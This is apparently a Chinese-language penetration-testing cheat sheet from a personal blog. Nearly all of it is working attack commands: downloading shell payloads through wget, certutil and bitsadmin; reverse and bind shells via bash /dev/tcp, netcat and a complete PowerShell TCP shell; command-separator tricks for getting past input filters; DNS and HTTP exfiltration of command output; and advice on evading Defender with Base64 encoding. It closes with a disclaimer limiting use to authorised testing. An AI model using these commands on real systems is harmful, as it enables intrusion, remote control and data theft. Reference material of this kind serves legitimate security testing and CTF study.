shell基础
一、常规基本渗透命令
二、文件传输与下载
Linux
命令 | 用途 | 示例 |
---|---|---|
wget |
下载文件(支持HTTP/HTTPS/FTP) | wget http://example.com/shell.php |
curl |
发送HTTP请求,支持文件上传下载 | curl -O http://example.com/file.txt |
python |
启动临时HTTP服务器传输文件 | python -m http.server 8080 (下载端) |
scp |
安全复制文件到远程服务器 | scp local.txt user@remote:/path/ |
Windows
命令 | 用途 | 示例 |
---|---|---|
PowerShell |
下载文件(绕过部分安全限制) | Invoke-WebRequest -Uri http://a.com/shell.exe -OutFile b.exe |
Certutil |
下载文件(系统工具) | certutil -urlcache -split -f http://a.com/file.txt c:\file.txt |
Bitsadmin |
后台下载文件(隐蔽性强) | bitsadmin /create job /download /priority normal http://a.com/shell.exe c:\shell.exe |
三、反弹Shell命令
正向连接(控制端主动连接目标)
- 场景:目标在公网,控制端可直接访问其端口。
- Linux:
1
2nc -lvnp 4444 # 控制端监听端口
/bin/sh -i >& /dev/tcp/控制端IP/4444 0>&1 # 目标执行连接命令 - Windows:
1
$client = New-Object System.Net.Sockets.TCPClient('控制端IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|ForEach-Object{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
反向连接(目标主动连接控制端)
- 场景:目标在内网,控制端需通过公网IP接收连接。
- Linux:
1
2nc -e /bin/sh 控制端IP 4444 # 旧版nc(需安装netcat-openbsd)
bash -i >& /dev/tcp/控制端IP/4444 0>&1 # 通用写法 - Windows:
1
powershell -NoExit "$client = New-Object System.Net.Sockets.TCPClient('控制端IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|ForEach-Object{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
四、命令执行与管道符
通用管道符
符号 | 系统 | 含义 | 示例 |
---|---|---|---|
& |
Windows/Linux | 前后命令均执行(不检查结果) | dir & whoami |
&& |
Windows/Linux | 前命令成功后执行后命令 | ping 127.0.0.1 && echo ok |
|| |
Windows/Linux | 前命令失败后执行后命令 | ping non-exist || echo fail |
| |
Windows/Linux | 前命令输出作为后命令输入 | ipconfig | find "IP" |
; |
Linux | 分隔多个命令依次执行 | whoami ; ls / |
&&& |
Windows | 特殊分隔符(部分场景绕过过滤) | dir&&&whoami |
五、无回显漏洞利用(带外查询)
原理:通过DNS/HTTP请求将数据外带(绕过目标无回显限制)。
Linux
1 | ping $(whoami).your-dnslog-domain # 利用ping命令外带数据 |
Windows
1 | powershell -Command "$env:COMPUTERNAME + '.your-dnslog-domain' | % { Invoke-WebRequest -Uri 'http://' + $_ }" |
六、常用工具与场景速记
工具/命令 | 场景 | 示例用途 |
---|---|---|
nc |
反弹Shell、端口监听 | 正向/反向Shell建立连接 |
curl/wget |
文件下载、带外数据传输 | 下载Payload、DNSLog外带验证 |
PowerShell |
Windows 隐蔽命令执行、文件传输 | 绕过安全软件下载恶意文件 |
ping |
无回显漏洞验证、网络连通性测试 | 通过DNSLog验证命令执行成功 |
管道符 | 绕过过滤、组合命令执行 | dir&&type c:\flag.txt 组合执行命令 |
注意事项:
- 权限限制:部分命令(如反弹Shell)需目标服务器具备执行权限。
- 安全软件拦截:Windows 下
PowerShell
可能被 Defender 拦截,需用 Base64 编码等方式绕过。 - 法律风险:仅限在合法授权的测试环境中使用,禁止未经允许的渗透测试!
本文是原创文章,采用CC BY-NC-SA 4.0协议,完整转载请注明来自Ciallo~(∠・ω< )⌒★
评论